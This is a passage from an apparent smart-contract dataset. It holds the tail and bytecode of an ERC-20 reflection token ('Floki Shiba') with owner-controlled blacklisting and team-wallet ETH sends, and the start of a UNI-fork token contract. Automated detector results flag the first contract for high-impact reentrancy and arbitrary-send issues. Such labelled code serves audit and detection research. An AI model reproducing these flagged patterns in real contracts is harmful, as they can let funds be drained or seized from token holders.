uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600d81526020017f20466c6f6b692053686962612000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f2046536869620000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d54ab97ef7a6facaccfb39e0dcc29febba32ecf79fbc27a8e9358d82d42f996564736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,629 |
0x3b94440C8c4F69D5C9F47BaB9C5A93064Df460F5 | // SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma experimental ABIEncoderV2;
// Forked from Uniswap's UNI
// Reference: https://etherscan.io/address/0x1f9840a85d5af5bf1d1762f925bdaddc4201f984#code
contract Rng {
/// @notice EIP-20 token name for this token
// solhint-disable-next-line const-name-snakecase
string public constant name = "Ring.Exchange";
/// @notice EIP-20 token symbol for this token
// solhint-disable-next-line const-name-snakecase
string public constant symbol = "RNG";
/// @notice EIP-20 token decimals for this token
// solhint-disable-next-line const-name-snakecase
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
// solhint-disable-next-line const-name-snakecase
uint public totalSupply = 1_000_000e18; // 1 million Ring
/// @notice Address which may mint new tokens
address public minter;
mapping (address => mapping (address => uint96)) internal allowances;
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Ring token
* @param account The initial account to grant all the tokens
* @param minter_ The account with minting ability
*/
constructor(address account, address minter_) {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
}
/**
* @notice Change the minter address
* @param minter_ The address of the new minter
*/
function setMinter(address minter_) external {
require(msg.sender == minter, "Ring: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
/**
* @notice Mint new tokens
* @param dst The address of the destination account
* @param rawAmount The number of tokens to be minted
*/
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "Ring: only the minter can mint");
require(dst != address(0), "Ring: cannot transfer to the zero address");
// mint the amount
uint96 amount = safe96(rawAmount, "Ring: amount exceeds 96 bits");
uint96 safeSupply = safe96(totalSupply, "Ring: totalSupply exceeds 96 bits");
totalSupply = add96(safeSupply, amount, "Ring: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "Ring: transfer amount overflows");
